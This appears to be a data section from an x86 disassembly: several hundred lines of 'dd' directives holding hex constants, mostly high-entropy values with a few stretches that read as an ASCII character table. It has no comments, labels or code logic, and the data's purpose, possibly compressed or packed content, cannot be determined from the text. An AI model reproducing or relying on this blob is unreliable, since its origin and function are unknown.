		dd 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h
		dd 83067Dh, 0D7DAF7A7h,	0B1E46A6Fh, 0C4008AE0h,	8B5092AAh
		dd 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh
		dd 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h,	830E0F98h
		dd 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h
		dd 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh
		dd 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h,	0C3FF1AA8h
		dd 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h
		dd 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h
		dd 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h
		dd 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch
		dd 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h
		dd 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h,	0BDE7602h
		dd 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h
		dd 0EB48DBB6h, 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h
		dd 3600FD20h, 33C81067h, 299D28h, 99593577h, 6E1940D0h
		dd 0D9D60B1Eh, 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h
		dd 0E9EAC1EAh, 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h
		dd 68C61B28h, 0F0578D00h, 5A80E84Ch, 9C220081h,	4BE96CBAh
		dd 591F13F4h, 60C79001h, 80F7B951h, 0C0A0A4C7h,	0FE6F2B7h
		dd 0E3AFF599h, 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h
		dd 16207536h, 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh
		dd 3046BA33h, 403421EBh, 0B716C30Eh, 8745C019h,	0DA74D7h
		dd 55F0F73Bh, 4E775D05h, 1C042498h, 0D0E9FB26h,	8BF00BBh
		dd 3CAC1DE3h, 374272Ch,	4D228039h, 103E9620h, 0EF560060h
		dd 648AEDE2h, 47F1906h,	52450B07h, 0C373020Dh, 3AAC88C0h
		dd 0D0F400C4h, 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch
		dd 0A1C76630h, 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h
		dd 3925E430h, 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h
		dd 653B3Ah, 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h
		dd 1EDBFE01h, 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h
		dd 3E60CB00h, 0EB01F8A2h, 71A400B6h, 1432AF43h,	0A7002DAEh
		dd 0A1B42B93h, 9C0FFAh,	0FBC1B801h, 589666EBh, 116BEC00h
		dd 2703F80Eh, 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h
		dd 0E4E7006Ah, 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h
		dd 0C20776A2h, 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h
		dd 0D1F0EAF8h, 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh
		dd 270045CEh, 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h
		dd 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh
		dd 803C2606h, 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h
		dd 0A4A68146h, 5ECDE4F9h, 3880500h, 0EE8A6B53h,	8DCF1F2Ah
		dd 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h
		dd 7FD307Ch, 4DFF01F5h,	7475F425h, 0BB0D00C4h, 3414DE45h
		dd 0E40FC400h, 41AB127Eh, 43290104h, 4B0B1F91h,	0F9987150h
		dd 0DEC16031h, 6BB86600h, 2E6C9622h, 9E1E00EBh,	9A88FC25h
		dd 0DD004517h, 0F7EE7E0h, 1CC9B258h, 808DF228h,	0BF065975h
		dd 0C200AA9Ah, 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h
		dd 736D3100h, 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h
		dd 0A03D0320h, 58227507h, 4600BB09h, 119FA506h,	737B90AAh
		dd 9D7E811Fh, 326B800h,	0E1340h, 0CDC43C6h, 0DB8D6BE9h
		dd 2D2E0801h, 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h
		dd 0E051ECA2h, 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h
		dd 9BF2D8A7h, 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h
		dd 0F8EF80BCh, 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah
		dd 7DDE515h, 8E8C0h, 660F7004h,	45E33005h, 621DE27Ch, 480032EBh
		dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
		dd 712FF83h, 8027730Fh,	351F707Ch, 44E425C6h, 4FE00E00h
		dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
		dd 525F9862h, 7A533530h, 21190325h, 0F150A190h,	77835688h
		dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
		dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h,	5C2C9DAEh
		dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h,	0F4891BFh
		dd 82D0EFDh, 81A70064h,	0B6B3DAh, 15730DE0h, 0E0549F2h
		dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
		dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
		dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh,	0EBECCC49h
		dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
		dd 0B009873h, 3134C8Dh,	0C61602h, 80D58207h, 0F7D1853Fh
		dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
		dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
		dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h,	464E0107h
		dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
		dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh,	0E83B960Ch
		dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
		dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
		dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
		dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h,	0C40027DDh
		dd 0F03A2CF3h, 0F730Ah,	290DDA26h, 0CE904349h, 53B80600h
		dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h,	6BE4002Ah
		dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
		dd 0B871F8h, 250E978Ah,	0F0340F4h, 0B67850Fh, 7606A055h
		dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
		dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
		dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
		dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
		dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h,	56520027h
		dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
		dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
		dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
		dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh,	302F206Eh
		dd 42E4F178h
		dd 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h,	5025D453h
		dd 8B0BB273h, 33E9ABAh,	0F860A7EEh, 0E1A5D84Eh,	1318960h
		dd 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h
		dd 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h,	85C33803h
		dd 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h
		dd 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh
		dd 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h
		dd 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh
		dd 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh
		dd 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh
		dd 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h,	0B8B9D75h
		dd 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h
		dd 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h
		dd 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h
		dd 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h
		dd 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h
		dd 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h
		dd 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h,	75676B5h
		dd 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h
		dd 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h
		dd 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h,	0B8E1CB27h
		dd 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh
		dd 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h
		dd 28A00D5h, 274307ECh,	0DE004647h, 7570B033h, 28E6E8h
		dd 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h,	0F40000Dh
		dd 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh, 40478014h
		dd 0D97B754Bh, 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h
		dd 0F8E280ECh, 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h
		dd 0D9B013FCh, 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh
		dd 0A5799FD7h, 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h
		dd 0C70A57E2h, 88A11C00h, 0F21F75Dh, 408C0059h,	183C8D12h
		dd 307F2AC3h, 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h
		dd 0FC3245F3h, 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h
		dd 0E07D3173h, 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch
		dd 9BDD88B0h, 1A1D0C71h, 0A89DE410h, 6EB78680h,	0C776B4h
		dd 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h, 4730BE21h,	0E0446130h
		dd 13FF7D18h, 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h
		dd 5FE4FE00h, 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h
		dd 33ADFC00h, 8D487C06h, 89231FBBh, 0A7084157h,	61042035h
		dd 904EF815h, 54A2FE03h, 8041C59Ch, 7444342h, 48474645h
		dd 4B4A0049h, 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h
		dd 62615A59h, 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch
		dd 7271706Fh, 75740073h, 780E7776h, 307A79h, 34333231h
		dd 37361C35h, 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh
		dd 703A3B2Ch, 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h
		dd 7388E867h, 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h
		dd 1490B926h, 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h
		dd 5C49E960h, 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh
		dd 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h
		dd 0FC66C204h, 190759E4h, 941FEBECh, 956BC70h, 4052008Ah
		dd 0D4CF5C7Ch, 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh
		dd 83481F05h, 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h
		dd 0C6660347h, 11F01600h, 5521429Fh, 4ABF0051h,	6C7EE292h
		dd 0BB0076E1h, 0EB071569h, 41B929h, 0DC30630Ah,	0AB83E806h
		dd 5600807Eh, 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h
		dd 8F82B80Eh, 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h
		dd 0C7143032h, 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h
		dd 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh
		dd 15684A00h, 648CD44h,	387A4Bh, 519E418Bh, 2F02BAF3h
		dd 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h,	2ADF90C2h
		dd 2004589h, 169F4999h,	0ECD9C65Ah, 6B7623h, 2F42C288h
		dd 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h
		dd 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh
		dd 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h
		dd 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h,	790B0A0Dh
		dd 1EB473FFh, 15D80CAh,	0B186A9C6h, 0A33EF44Fh,	50495307h
		dd 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h
		dd 52250194h, 4690200h,	484EB36Fh, 0A25F0010h, 0BF446CF0h
		dd 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh
		dd 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h,	498A01D3h
		dd 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh,	184C2596h
		dd 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh,	68B1527Fh
		dd 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h
		dd 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h
		dd 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h,	0F36A0058h
		dd 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah,	0E0EFE378h
		dd 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h,	0E2C64600h
		dd 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h
		dd 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h
		dd 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h, 10017414h
		dd 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h
		dd 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh
		dd 582E38h, 0F02D704Fh,	10E9A151h, 0A2271801h, 74532F85h
		dd 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h
		dd 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h,	9CECC3FAh
		dd 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h
		dd 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h
		dd 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h
		dd 89DF6F62h, 9220A270h, 107891h, 13A9D812h, 2C78F0CBh
		dd 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh
		dd 154F1B00h, 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh
		dd 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h, 44022717h
		dd 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh
		dd 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h,	5FC34287h
		dd 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h
		dd 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h
		dd 2C000279h, 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h
		dd 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h
		dd 0A094B17h, 0CDE7B1h,	3A25A58Eh, 0E6AAEC29h, 93FA0044h
		dd 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h,	0C79F0987h
		dd 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh,	0D88CC364h
		dd 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h
		dd 0BA727Eh, 27841D5h
		dd 0C327116Ch, 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh
		dd 227C3966h, 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h
		dd 676F881h, 35A85500h,	75AE2638h, 0CB450093h, 1834EA74h
		dd 232E04DFh, 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h
		dd 9854B34Ah, 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh
		dd 0C59B05A4h, 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h
		dd 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h
		dd 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h
		dd 7AF2357Bh, 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h
		dd 1B3BC13h, 100B002Eh,	0E881A64Ah, 910F2924h, 60F164A5h
		dd 9F0D9669h, 95840046h, 866A4BF6h, 0E8075414h,	302B75FCh
		dd 0F0CBE693h, 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h
		dd 5A59A165h, 70A580F4h, 0A62107E2h, 436C14C4h,	35A94485h
		dd 5F51E0DCh, 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h
		dd 0C807302Dh, 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h
		dd 35F00973h, 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h
		dd 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h
		dd 61004384h, 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh
		dd 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h
		dd 0FC1807B2h, 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh
		dd 5DD0D45Fh, 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h
		dd 7B2CDC00h, 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h
		dd 52DF2347h, 0F31617C0h, 4FAC0028h, 77E50FCCh,	3E002941h
		dd 0C8099412h, 1B1697h,	0F9A8072Dh, 7CD15A58h, 0F0564500h
		dd 0BA51F6E6h, 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h
		dd 0C1ECF1EDh, 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h
		dd 0E8D1ED2Bh, 8CB000E6h, 70834FF8h, 7C0058FFh,	3C709EFh
		dd 9160C0h, 0A8A0048Ah,	3B94980Bh, 61114A00h, 51010244h
		dd 0E3C10012h, 88C33683h, 71174606h, 2800295Fh,	34B264ABh
		dd 0A58B1DAEh, 0E45200D2h, 92B2CB1h, 5CC45905h,	0C8016278h
		dd 565B5A02h, 7F89760h,	8BFC12AAh, 40C2B7F3h, 789E7908h
		dd 0B1A96000h, 985E58Eh, 0FE500134h, 4D8B42ACh,	0FD94DCDAh
		dd 51E8AFF8h, 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h
		dd 0CEEA2FA3h, 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh
		dd 2C29BC6Dh, 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh
		dd 0ABE8C3C1h, 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh
		dd 0C0E69443h, 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h
		dd 5E280070h, 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh
		dd 834000E4h, 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h
		dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
		dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
		dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
		dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
		dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h,	0BD0088DAh
		dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
		dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
		dd 500EB3Bh, 570F01B5h,	0C282Ch, 92049EC8h, 0CCE40DC9h
		dd 0EE063Ch, 10D008D4h,	0F831FCh, 1DD87D89h, 59226421h
		dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
		dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
		dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
		dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
		dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
		dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
		dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
		dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh,	0DC224972h
		dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
		dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
		dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
		dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah,	54189107h
		dd 8F200DBh, 1FD84293h,	814EB914h, 89D2D0B2h, 0CC1C9E64h
		dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
		dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h,	0E02BA00h
		dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h,	0E1752A88h
		dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
		dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
		dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
		dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
		dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
		dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h,	0C3050102h
		dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
		dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
		dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
		dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
		dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
		dd 8BECF4h, 0EB124DD3h,	0EECFF34Bh, 5F4A4800h, 0FC555280h
		dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
		dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
		dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
		dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
		dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
		dd 8C5B015Fh, 8464BDFh,	63DECE6h, 4253B00h, 0DB19C1D0h
		dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah,	0B89DAAh
		dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
		dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
		dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
		dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
		dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
		dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
		dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h,	91DC45C9h
		dd 804D073Bh, 8A032D2h,	7C701094h, 0E4A82C5Ch, 85E80085h
		dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
		dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
		dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
		dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah,	22F86Ch
		dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
		dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
		dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
		dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
		dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
		dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
		dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
		dd 542DF450h
		dd 7F5ABAF0h, 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh
		dd 0E1B510h, 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh
		dd 7AC40E11h, 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h
		dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
		dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
		dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh,	82EFF4h
		dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h,	387EBC7Ch
		dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
		dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
		dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
		dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh,	0BE80D616h
		dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
		dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh,	0F02E13D3h
		dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
		dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
		dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
		dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
		dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
		dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
		dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
		dd 1835B59h, 8E1CC778h,	700AFB45h, 0C90013BBh, 4B7E0D0h
		dd 2659FA5Fh, 0DE010Dh,	0E7557C8Ah, 0E8074284h,	5319A76Bh
		dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
